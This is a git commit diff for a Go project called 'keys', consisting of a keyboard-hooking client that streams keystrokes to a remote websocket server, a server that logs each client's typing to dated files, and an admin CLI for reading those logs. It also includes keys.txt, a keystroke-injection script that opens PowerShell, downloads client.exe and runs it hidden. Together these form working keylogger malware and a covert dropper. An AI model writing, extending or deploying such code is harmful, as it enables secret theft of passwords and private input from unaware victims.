✨ Adds changing name and exiting

.gitignore

@@ -0,0 +1,5 @@
+.idea/
+
+data/
+
+*/.env

admin/go.mod

@@ -0,0 +1,22 @@
+module svitan.dev/keys/admin
+
+go 1.24.2
+
+require (
+	github.com/fsnotify/fsnotify v1.8.0 // indirect
+	github.com/go-viper/mapstructure/v2 v2.2.1 // indirect
+	github.com/pelletier/go-toml/v2 v2.2.3 // indirect
+	github.com/sagikazarmark/locafero v0.7.0 // indirect
+	github.com/sourcegraph/conc v0.3.0 // indirect
+	github.com/spf13/afero v1.12.0 // indirect
+	github.com/spf13/cast v1.7.1 // indirect
+	github.com/spf13/pflag v1.0.6 // indirect
+	github.com/spf13/viper v1.20.1 // indirect
+	github.com/subosito/gotenv v1.6.0 // indirect
+	github.com/urfave/cli/v3 v3.1.1 // indirect
+	go.uber.org/atomic v1.9.0 // indirect
+	go.uber.org/multierr v1.9.0 // indirect
+	golang.org/x/sys v0.29.0 // indirect
+	golang.org/x/text v0.21.0 // indirect
+	gopkg.in/yaml.v3 v3.0.1 // indirect
+)

admin/go.sum

@@ -0,0 +1,38 @@
+github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
+github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
+github.com/fsnotify/fsnotify v1.8.0 h1:dAwr6QBTBZIkG8roQaJjGof0pp0EeF+tNV7YBP3F/8M=
+github.com/fsnotify/fsnotify v1.8.0/go.mod h1:8jBTzvmWwFyi3Pb8djgCCO5IBqzKJ/Jwo8TRcHyHii0=
+github.com/go-viper/mapstructure/v2 v2.2.1 h1:ZAaOCxANMuZx5RCeg0mBdEZk7DZasvvZIxtHqx8aGss=
+github.com/go-viper/mapstructure/v2 v2.2.1/go.mod h1:oJDH3BJKyqBA2TXFhDsKDGDTlndYOZ6rGS0BRZIxGhM=
+github.com/pelletier/go-toml/v2 v2.2.3 h1:YmeHyLY8mFWbdkNWwpr+qIL2bEqT0o95WSdkNHvL12M=
+github.com/pelletier/go-toml/v2 v2.2.3/go.mod h1:MfCQTFTvCcUyyvvwm1+G6H/jORL20Xlb6rzQu9GuUkc=
+github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
+github.com/sagikazarmark/locafero v0.7.0 h1:5MqpDsTGNDhY8sGp0Aowyf0qKsPrhewaLSsFaodPcyo=
+github.com/sagikazarmark/locafero v0.7.0/go.mod h1:2za3Cg5rMaTMoG/2Ulr9AwtFaIppKXTRYnozin4aB5k=
+github.com/sourcegraph/conc v0.3.0 h1:OQTbbt6P72L20UqAkXXuLOj79LfEanQ+YQFNpLA9ySo=
+github.com/sourcegraph/conc v0.3.0/go.mod h1:Sdozi7LEKbFPqYX2/J+iBAM6HpqSLTASQIKqDmF7Mt0=
+github.com/spf13/afero v1.12.0 h1:UcOPyRBYczmFn6yvphxkn9ZEOY65cpwGKb5mL36mrqs=
+github.com/spf13/afero v1.12.0/go.mod h1:ZTlWwG4/ahT8W7T0WQ5uYmjI9duaLQGy3Q2OAl4sk/4=
+github.com/spf13/cast v1.7.1 h1:cuNEagBQEHWN1FnbGEjCXL2szYEXqfJPbP2HNUaca9Y=
+github.com/spf13/cast v1.7.1/go.mod h1:ancEpBxwJDODSW/UG4rDrAqiKolqNNh2DX3mk86cAdo=
+github.com/spf13/pflag v1.0.6 h1:jFzHGLGAlb3ruxLB8MhbI6A8+AQX/2eW4qeyNZXNp2o=
+github.com/spf13/pflag v1.0.6/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg=
+github.com/spf13/viper v1.20.1 h1:ZMi+z/lvLyPSCoNtFCpqjy0S4kPbirhpTMwl8BkW9X4=
+github.com/spf13/viper v1.20.1/go.mod h1:P9Mdzt1zoHIG8m2eZQinpiBjo6kCmZSKBClNNqjJvu4=
+github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
+github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI=
+github.com/subosito/gotenv v1.6.0 h1:9NlTDc1FTs4qu0DDq7AEtTPNw6SVm7uBMsUCUjABIf8=
+github.com/subosito/gotenv v1.6.0/go.mod h1:Dk4QP5c2W3ibzajGcXpNraDfq2IrhjMIvMSWPKKo0FU=
+github.com/urfave/cli/v3 v3.1.1 h1:bNnl8pFI5dxPOjeONvFCDFoECLQsceDG4ejahs4Jtxk=
+github.com/urfave/cli/v3 v3.1.1/go.mod h1:FJSKtM/9AiiTOJL4fJ6TbMUkxBXn7GO9guZqoZtpYpo=
+go.uber.org/atomic v1.9.0 h1:ECmE8Bn/WFTYwEW/bpKD3M8VtR/zQVbavAoalC1PYyE=
+go.uber.org/atomic v1.9.0/go.mod h1:fEN4uk6kAWBTFdckzkM89CLk9XfWZrxpCo0nPH17wJc=
+go.uber.org/multierr v1.9.0 h1:7fIwc/ZtS0q++VgcfqFDxSBZVv/Xo49/SYnDFupUwlI=
+go.uber.org/multierr v1.9.0/go.mod h1:X2jQV1h+kxSjClGpnseKVIxpmcjrj7MNnI0bnlfKTVQ=
+golang.org/x/sys v0.29.0 h1:TPYlXGxvx1MGTn2GiZDhnjPA9wZzZeGKHHmKhHYvgaU=
+golang.org/x/sys v0.29.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
+golang.org/x/text v0.21.0 h1:zyQAAkrwaneQ066sspRyJaG9VNi/YJ1NfzcGB3hZ/qo=
+golang.org/x/text v0.21.0/go.mod h1:4IBbMaMmOPCJ8SecivzSH54+73PCFmPWxNTLm+vZkEQ=
+gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
+gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
+gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=

admin/main.go

@@ -0,0 +1,226 @@
+package main
+
+import (
+	"context"
+	"errors"
+	"fmt"
+	"io"
+	"log"
+	"net/http"
+	"os"
+
+	"github.com/spf13/viper"
+	"github.com/urfave/cli/v3"
+)
+
+var (
+	server string
+	token  string
+)
+
+func load() error {
+	viper.SetConfigName("config")
+	viper.SetConfigType("toml")
+	viper.AddConfigPath("$HOME/.local/share/keys")
+	err := viper.ReadInConfig()
+	if err != nil {
+		return err
+	}
+
+	server = viper.GetString("server")
+	if server == "" {
+		return errors.New("'server' property is required")
+	}
+
+	token = viper.GetString("token")
+	if token == "" {
+		return errors.New("'token' property is required")
+	}
+
+	return nil
+}
+
+func makeReq(method string, url string) error {
+	req, err := http.NewRequest(method, url, nil)
+	if err != nil {
+		return err
+	}
+
+	req.Header.Set("Authorization", token)
+	res, err := http.DefaultClient.Do(req)
+	if err != nil {
+		return err
+	}
+
+	recv, err := io.ReadAll(res.Body)
+	if err != nil {
+		return err
+	}
+
+	if res.StatusCode != 200 {
+		fmt.Printf("<-- %d\n", res.StatusCode)
+	}
+	fmt.Printf("%s", recv)
+	return nil
+
+}
+
+func main() {
+	cmd := &cli.Command{
+		Name:  "keys-admin",
+		Usage: "keys project server administration tool",
+		Commands: []*cli.Command{
+			{
+				Name:  "version",
+				Usage: "print version and exit",
+				Action: func(context.Context, *cli.Command) error {
+					fmt.Println("version 1.0")
+					return nil
+				},
+			},
+			{
+				Name:  "clients",
+				Usage: "fetch all clients",
+				Flags: []cli.Flag{
+					&cli.StringFlag{
+						Name:  "id",
+						Usage: "optional id of the client to fetch",
+					},
+				},
+				Action: clients,
+			},
+			{
+				Name:  "logs",
+				Usage: "fetch all/specific logs",
+				Flags: []cli.Flag{
+					&cli.StringFlag{
+						Name:  "id",
+						Usage: "optional id of the client to log",
+					},
+					&cli.StringFlag{
+						Name:  "date",
+						Usage: "optional date of the log, id required, in ISO8601 date format",
+					},
+					&cli.StringFlag{
+						Name:  "skip",
+						Usage: "optional skip bytes in log file",
+					},
+					&cli.StringFlag{
+						Name:  "take",
+						Usage: "optional take bytes from log file",
+					},
+				},
+				Action: logs,
+			},
+			{
+				Name:  "name",
+				Usage: "rename a client",
+				Flags: []cli.Flag{
+					&cli.StringFlag{
+						Name:     "id",
+						Usage:    "id of the client",
+						Required: true,
+					},
+					&cli.StringFlag{
+						Name:     "new",
+						Usage:    "new name of the client",
+						Required: true,
+					},
+				},
+				Action: name,
+			},
+			{
+				Name:  "exit",
+				Usage: "request a client to disconnect",
+				Flags: []cli.Flag{
+					&cli.StringFlag{
+						Name:     "id",
+						Usage:    "id of the client",
+						Required: true,
+					},
+				},
+				Action: exit,
+			},
+		},
+	}
+
+	err := cmd.Run(context.Background(), os.Args)
+	if err != nil {
+		log.Fatal(err)
+	}
+}
+
+func clients(ctx context.Context, cmd *cli.Command) error {
+	err := load()
+	if err != nil {
+		return err
+	}
+
+	var url string
+	id := cmd.String("id")
+	if id != "" {
+		url = fmt.Sprintf("%s/admin/clients/%s", server, id)
+	} else {
+		url = fmt.Sprintf("%s/admin/clients", server)
+	}
+
+	return makeReq(http.MethodGet, url)
+}
+
+func logs(ctx context.Context, cmd *cli.Command) error {
+	err := load()
+	if err != nil {
+		return err
+	}
+
+	var url string
+	id := cmd.String("id")
+	if id != "" {
+		params := map[string]string{
+			"date": cmd.String("date"),
+			"skip": cmd.String("skip"),
+			"take": cmd.String("take"),
+		}
+		paramsStr := ""
+		for k, v := range params {
+			if v == "" {
+				continue
+			}
+
+			if paramsStr == "" {
+				paramsStr = fmt.Sprintf("?%s=%s", k, v)
+			} else {
+				paramsStr += fmt.Sprintf("&%s=%s", k, v)
+			}
+		}
+
+		url = fmt.Sprintf("%s/admin/logs/%s%s", server, id, paramsStr)
+	} else {
+		url = fmt.Sprintf("%s/admin/logs", server)
+	}
+
+	return makeReq(http.MethodGet, url)
+}
+
+func name(ctx context.Context, cmd *cli.Command) error {
+	err := load()
+	if err != nil {
+		return err
+	}
+
+	id := cmd.String("id")
+	name := cmd.String("new")
+	url := fmt.Sprintf("%s/admin/name/%s?name=%s", server, id, name)
+	return makeReq(http.MethodPost, url)
+}
+
+func exit(ctx context.Context, cmd *cli.Command) error {
+	err := load()
+	if err != nil {
+		return err
+	}
+
+	id := cmd.String("id")
+	url := fmt.Sprintf("%s/admin/exit/%s", server, id)
+	return makeReq(http.MethodPost, url)
+}

client/main.go

@@ -3,6 +3,7 @@ package main
 import (
 	"net/url"
 	"os"
+	"time"
 
 	"github.com/gorilla/websocket"
 	hook "github.com/robotn/gohook"
@@ -18,9 +19,7 @@ const (
 	REG_END       = 255
 )
 
-const HOST = "localhost:8080"
+var u = url.URL{Scheme: "wss", Host: "keys.svitan.dev", Path: "/keys"}
-
-var u = url.URL{Scheme: "ws", Host: HOST, Path: "/keys"}
 
 func main() {
 	var conn *websocket.Conn
@@ -33,6 +32,7 @@ func main() {
 			if tries >= 3 {
 				return
 			}
+			time.Sleep(time.Second)
 		} else {
 			break
 		}
@@ -60,31 +60,31 @@ func main() {
 		switch ev.Rawcode {
 		case SHIFT_RAWCODE:
 			if ev.Kind == hook.KeyDown {
-				buff = append(buff, []byte("[SHIFT]")...)
-			} else if ev.Kind == hook.KeyUp {
 				buff = append(buff, []byte("[shift]")...)
+			} else if ev.Kind == hook.KeyUp {
+				buff = append(buff, []byte("[SHIFT]")...)
 			}
 			continue
 
 		case CTRL_RAWCODE:
 			if ev.Kind == hook.KeyDown {
-				buff = append(buff, []byte("[CTRL]")...)
-			} else if ev.Kind == hook.KeyUp {
 				buff = append(buff, []byte("[ctrl]")...)
+			} else if ev.Kind == hook.KeyUp {
+				buff = append(buff, []byte("[CTRL]")...)
 			}
 			continue
 
 		case ALT_RAWCODE:
 			if ev.Kind == hook.KeyDown {
-				buff = append(buff, []byte("[ALT]")...)
-			} else if ev.Kind == hook.KeyUp {
 				buff = append(buff, []byte("[alt]")...)
+			} else if ev.Kind == hook.KeyUp {
+				buff = append(buff, []byte("[ALT]")...)
 			}
 			continue
 
 		case DEL_KEYCHAR:
 			if ev.Kind == hook.KeyDown {
-				buff = append(buff, []byte("[DEL]")...)
+				buff = append(buff, []byte("[del]")...)
 			}
 			continue
 		}
@@ -92,7 +92,7 @@ func main() {
 		switch ev.Keychar {
 		case DEL_KEYCHAR:
 			if ev.Kind == hook.KeyDown {
-				buff = append(buff, []byte("[DEL]")...)
+				buff = append(buff, []byte("[del]")...)
 			}
 			continue
 

keys.txt

@@ -0,0 +1,15 @@
+REM open powershell
+GUI r
+DELAY 1000
+STRING powershell
+ENTER
+DELAY 2000
+
+REM download client.exe file
+STRING Invoke-WebRequest https://gitea.svitan.dev/Streamer272/keys/releases/download/v1.0.0/client.exe -OutFile .\AppData\Local\Temp\keys.exe
+ENTER
+DELAY 15000
+
+REM client.exe file (closes automatically)
+STRING powershell.exe -WindowStyle hidden { Start-Process -FilePath .\AppData\Local\Temp\keys.exe -NoNewWindow }
+ENTER

server/Dockerfile

@@ -1,4 +1,4 @@
-FROM golang:1.23
+FROM golang:1.24
 
 WORKDIR /app
 COPY . .
@@ -7,4 +7,5 @@ RUN echo "" > .env
 RUN go get -v .
 RUN go install -v .
 
+EXPOSE 8080
 CMD ["server"]

server/go.mod

@@ -3,6 +3,7 @@ module svitan.dev/keys/server
 go 1.24.1
 
 require (
+	github.com/google/uuid v1.6.0
 	github.com/gorilla/websocket v1.5.3
 	github.com/joho/godotenv v1.5.1
 	github.com/labstack/echo/v4 v4.13.3

server/go.sum

@@ -1,5 +1,7 @@
 github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
 github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
+github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0=
+github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
 github.com/gorilla/websocket v1.5.3 h1:saDtZ6Pbx/0u+bgYQ3q96pZgCzfhKXGPqt7kZ72aNNg=
 github.com/gorilla/websocket v1.5.3/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE=
 github.com/joho/godotenv v1.5.1 h1:7eLL/+HRGLY0ldzfGMeQkb7vMd0as4CfYvUVzLqw0N0=

server/main.go

@@ -3,11 +3,16 @@ package main
 import (
 	"errors"
 	"fmt"
+	"io"
 	"net/http"
 	"os"
+	"path"
+	"regexp"
+	"strconv"
 	"syscall"
 	"time"
 
+	"github.com/google/uuid"
 	"github.com/gorilla/websocket"
 	"github.com/joho/godotenv"
 	"github.com/labstack/echo/v4"
@@ -16,34 +21,85 @@ import (
 )
 
 const TimeFormat = "2006-01-02 15:04:05"
+const DateFormat = "2006-01-02"
+
+var LogRegex = regexp.MustCompile(`(?m)^\d{4}-\d{2}-\d{2}_.*\.txt$`)
 
 type Client struct {
-	ID   int
+	ID             uuid.UUID       `json:"id"`
-	conn *websocket.Conn
+	Name           string          `json:"name"`
-	Exit bool
+	Connected      bool            `json:"connected"`
+	ConnectedAt    time.Time       `json:"connectedAt"`
+	DisconnectedAt time.Time       `json:"disconnectedAt"`
+	CreatedAt      time.Time       `json:"createdAt"`
+	UpdatedAt      time.Time       `json:"updatedAt"`
+	ExitWanted     bool            `json:"exitWanted"`
+	conn           *websocket.Conn `json:"-"`
 }
 
-var id = 0
 var clients = []*Client{}
-var keyDir = "."
+var dataDir = "."
 var token = ""
 var upgrader = websocket.Upgrader{}
 
-type ReqData struct {
+type IDParam struct {
-	ID int `json:"id"`
+	ID string `param:"id"`
+}
+
+func authed(next echo.HandlerFunc) echo.HandlerFunc {
+	return func(c echo.Context) error {
+		if c.Request().Header.Get("Authorization") != token {
+			return c.NoContent(http.StatusUnauthorized)
+		}
+
+		return next(c)
+	}
+}
+
+func idparam(next func(echo.Context, uuid.UUID) error) echo.HandlerFunc {
+	return func(c echo.Context) error {
+		var data IDParam
+		err := c.Bind(&data)
+		if err != nil || data.ID == "" {
+			return c.JSON(http.StatusBadRequest, echo.Map{"message": "missing field 'id'"})
+		}
+		id, err := uuid.Parse(data.ID)
+		if err != nil {
+			return c.JSON(http.StatusBadRequest, echo.Map{"message": "field 'id' is not a uuid"})
+		}
+
+		return next(c, id)
+	}
+}
+
+func filename(dataDir string, id string, date string) string {
+	return fmt.Sprintf("%s/%s_%s.txt", dataDir, date, id)
 }
 
 func main() {
 	_ = godotenv.Load()
-	keyDir = os.Getenv("KEY_DIR")
+	dataDir = os.Getenv("DATA_DIR")
-	if keyDir == "" {
+	if dataDir == "" {
-		log.Fatal("KEY_DIR is not defined")
+		log.Fatal("DATA_DIR is not defined")
 	}
 	token = os.Getenv("TOKEN")
 	if token == "" {
 		log.Fatal("TOKEN is not defined")
 	}
 
+	f, err := os.OpenFile(path.Join(dataDir, "startup"), syscall.O_CREAT|syscall.O_APPEND|syscall.O_WRONLY, 0644)
+	if err != nil {
+		log.Fatalf("DATA_DIR %s is not writable (%v)\n", dataDir, err)
+	}
+	_, err = f.Write([]byte(fmt.Sprintf("%s\n", time.Now().Format(TimeFormat))))
+	if err != nil {
+		log.Fatalf("DATA_DIR test file couldn't be written to (%v)\n", err)
+	}
+	err = f.Close()
+	if err != nil {
+		log.Fatalf("DATA_DIR test file couldn't be closed (%v)\n", err)
+	}
+
 	app := echo.New()
 	app.Logger.SetLevel(log.INFO)
 
@@ -54,7 +110,7 @@ func main() {
 	app.Use(middleware.Secure())
 
 	app.Use(middleware.LoggerWithConfig(middleware.LoggerConfig{
-		Format:           "${time_custom} ${method} ${uri} ---> ${status} in ${latency_human} (${bytes_out} bytes)",
+		Format:           "${time_custom} ${method} ${uri} ---> ${status} in ${latency_human} (${bytes_out} bytes)\n",
 		CustomTimeFormat: TimeFormat,
 	}))
 	app.Use(middleware.RemoveTrailingSlash())
@@ -88,45 +144,120 @@ func main() {
 		}
 	}
 
+	indent := "\t"
+
+	// client connection
 	app.GET("/", func(c echo.Context) error {
-		return c.JSON(http.StatusOK, "Hello World!")
+		return c.JSONPretty(http.StatusOK, "Hello World!", indent)
 	})
 	app.GET("/keys", keys)
 
-	app.GET("/clients", func(c echo.Context) error {
+	// administration
-		if c.Request().Header.Get("Authorization") != token {
+	app.GET("/admin/clients", authed(func(c echo.Context) error {
-			return c.NoContent(http.StatusUnauthorized)
+		return c.JSONPretty(http.StatusOK, clients, indent)
-		}
+	}))
 
-		var a = []echo.Map{}
+	app.GET("/admin/clients/:id", authed(idparam(func(c echo.Context, id uuid.UUID) error {
 		for _, client := range clients {
-			a = append(a, echo.Map{
+			if client.ID == id {
-				"id":   client.ID,
+				return c.JSONPretty(http.StatusOK, client, indent)
-				"exit": client.Exit,
+			}
-			})
 		}
 
-		return c.JSON(http.StatusOK, a)
+		return c.NoContent(http.StatusNotFound)
-	})
+	})))
-	app.POST("/exit", func(c echo.Context) error {
-		if c.Request().Header.Get("Authorization") != token {
-			return c.NoContent(http.StatusUnauthorized)
-		}
 
-		var data ReqData
+	app.GET("/admin/logs", authed(func(c echo.Context) error {
-		err := c.Bind(&data)
+		files, err := os.ReadDir(dataDir)
 		if err != nil {
-			return c.JSON(http.StatusBadRequest, echo.Map{"message": "missing field 'id'"})
+			log.Error(err)
+			return c.NoContent(http.StatusInternalServerError)
+		}
+
+		filenames := []string{}
+		for _, file := range files {
+			if LogRegex.MatchString(file.Name()) {
+				filenames = append(filenames, file.Name())
+			}
+		}
+
+		return c.JSONPretty(http.StatusOK, filenames, indent)
+	}))
+
+	app.GET("/admin/logs/:id", authed(idparam(func(c echo.Context, id uuid.UUID) error {
+		date := c.QueryParam("date")
+		if date == "" {
+			date = time.Now().Format(DateFormat)
+		}
+
+		skipRaw := c.QueryParam("skip")
+		skip := 0
+		if skipRaw != "" {
+			skip, err = strconv.Atoi(skipRaw)
+			if err != nil {
+				return c.JSON(http.StatusBadRequest, echo.Map{"message": "skip is not a number"})
+			}
+		}
+
+		takeRaw := c.QueryParam("take")
+		take := 1024
+		if takeRaw != "" {
+			take, err = strconv.Atoi(takeRaw)
+			if err != nil {
+				return c.JSON(http.StatusBadRequest, echo.Map{"message": "take is not a number"})
+			}
+		}
+
+		f, err := os.OpenFile(filename(dataDir, id.String(), date), syscall.O_RDONLY, 0644)
+		if err != nil {
+			return c.JSON(http.StatusNotFound, echo.Map{"message": "file not found"})
+		}
+
+		if skip != 0 {
+			_, err = f.Seek(int64(skip), io.SeekStart)
+			if err != nil {
+				log.Error(err)
+				return c.NoContent(http.StatusInternalServerError)
+			}
+		}
+
+		bytes := make([]byte, take)
+		n, err := f.Read(bytes)
+		if err != nil {
+			log.Error(err)
+			return c.NoContent(http.StatusInternalServerError)
+		}
+
+		return c.JSONPretty(http.StatusOK, string(bytes[:n]), indent)
+	})))
+
+	app.POST("/admin/name/:id", authed(idparam(func(c echo.Context, id uuid.UUID) error {
+		name := c.QueryParam("name")
+		if name == "" {
+			return c.JSON(http.StatusBadRequest, "missing field 'name'")
 		}
 
 		for _, client := range clients {
-			if client.ID == data.ID {
+			if client.ID == id {
-				client.Exit = true
+				client.Name = name
+				client.UpdatedAt = time.Now()
 				return c.JSON(http.StatusOK, echo.Map{"message": "ok"})
 			}
 		}
+
 		return c.JSON(http.StatusNotFound, echo.Map{"message": "not found"})
-	})
+	})))
+
+	app.POST("/admin/exit/:id", authed(idparam(func(c echo.Context, id uuid.UUID) error {
+		for _, client := range clients {
+			if client.ID == id {
+				client.ExitWanted = true
+				return c.JSON(http.StatusOK, echo.Map{"message": "ok"})
+			}
+		}
+
+		return c.JSON(http.StatusNotFound, echo.Map{"message": "not found"})
+	})))
 
 	log.Fatal(app.Start(":8080"))
 }
@@ -135,29 +266,40 @@ func keys(c echo.Context) error {
 	ws, err := upgrader.Upgrade(c.Response(), c.Request(), nil)
 	if err != nil {
 		return err
-
 	}
 	defer ws.Close()
 
+	now := time.Now()
 	client := Client{
-		ID:   id,
+		ID:             uuid.New(),
-		conn: ws,
+		Name:           "Dummy",
-		Exit: false,
+		Connected:      true,
+		ConnectedAt:    now,
+		DisconnectedAt: now,
+		CreatedAt:      now,
+		UpdatedAt:      now,
+		ExitWanted:     false,
+		conn:           ws,
 	}
+
 	clients = append(clients, &client)
-	id += 1
+	fmt.Printf("%s client %s connected\n", time.Now().Format(TimeFormat), client.ID.String())
-	fmt.Printf("%s client %-3d connected\n", time.Now().Format(TimeFormat), client.ID)
 
 	err = ws.WriteMessage(websocket.TextMessage, []byte("welcome"))
 	if err != nil {
 		log.Error(err)
 	}
 
-	f, err := os.OpenFile(fmt.Sprintf("%s/%s_%d.txt", keyDir, time.Now().Format("2006-01-02_15-04"), client.ID), syscall.O_CREAT|syscall.O_APPEND|syscall.O_WRONLY, 0644)
+	f, err := os.OpenFile(filename(dataDir, client.ID.String(), now.Format(DateFormat)), syscall.O_CREAT|syscall.O_APPEND|syscall.O_WRONLY, 0644)
 	if err != nil {
 		log.Error(err)
-		fmt.Printf("%s client %-3d crashed (couldn't open file)\n", time.Now().Format(TimeFormat), client.ID)
+		fmt.Printf("%s client %s crashed (couldn't open file)\n", time.Now().Format(TimeFormat), client.ID)
-		client.Exit = true
+		now = time.Now()
+
+		client.Connected = false
+		client.DisconnectedAt = now
+		client.UpdatedAt = now
+
 		return c.NoContent(http.StatusInternalServerError)
 	}
 	defer f.Close()
@@ -165,13 +307,18 @@ func keys(c echo.Context) error {
 	close := func() {
 		_ = ws.WriteMessage(websocket.CloseMessage, websocket.FormatCloseMessage(websocket.CloseNormalClosure, ""))
 		_ = ws.Close()
-		client.Exit = true
+		now = time.Now()
+
+		client.ExitWanted = true
+		client.Connected = false
+		client.DisconnectedAt = now
+		client.UpdatedAt = now
 	}
 
 	for {
-		if client.Exit {
+		if client.ExitWanted {
 			close()
-			fmt.Printf("%s client %-3d disconnected\n", time.Now().Format(TimeFormat), client.ID)
+			fmt.Printf("%s client %s disconnected\n", time.Now().Format(TimeFormat), client.ID.String())
 			break
 		}
 
@@ -179,18 +326,17 @@ func keys(c echo.Context) error {
 		if err != nil {
 			log.Error(err)
 			close()
-			fmt.Printf("%s client %-3d crashed (websocket error)\n", time.Now().Format(TimeFormat), client.ID)
+			fmt.Printf("%s client %s crashed (websocket error)\n", time.Now().Format(TimeFormat), client.ID.String())
-			break
+			return c.NoContent(http.StatusInternalServerError)
 		}
 
 		_, err = f.Write(msg)
 		if err != nil {
 			log.Error(err)
 			close()
-			fmt.Printf("%s client %-3d crashed (file write error)\n", time.Now().Format(TimeFormat), client.ID)
+			fmt.Printf("%s client %s crashed (file write error)\n", time.Now().Format(TimeFormat), client.ID.String())
-			break
+			return c.NoContent(http.StatusInternalServerError)
 		}
-
 	}
 
 	return c.NoContent(http.StatusOK)